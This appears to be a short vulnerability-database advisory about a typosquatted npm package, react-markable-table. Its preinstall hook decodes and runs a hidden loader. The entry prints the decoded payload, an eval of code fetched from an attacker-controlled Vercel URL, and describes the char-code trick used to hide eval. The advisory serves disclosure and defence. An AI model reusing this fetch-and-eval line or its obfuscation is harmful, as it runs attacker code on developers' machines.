취약점

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (da0db97919f41757fe4bcdc456d52ec0ecfbb89741438e5805a7bf5188b022c5)

react-markable-table@2.4.10 is a typosquat of markdown-table (declared repo field wooorm/markdown-table). package.json declares a preinstall hook that runs node index.d.js. That script base64-decodes an embedded payload which resolves to eval(await fetch('https://everydaynodechecker-39143n.vercel.app/api/key?mem=root2').then(r=>r.text())), and invokes it via globalThis[tag](text) where tag is reconstructed from the char-code array [101,118,97,108] (spelling eval). Installing the package causes arbitrary attacker-controlled JavaScript to be fetched from a non-publisher Vercel host and executed in-process on the installer's machine at npm install time.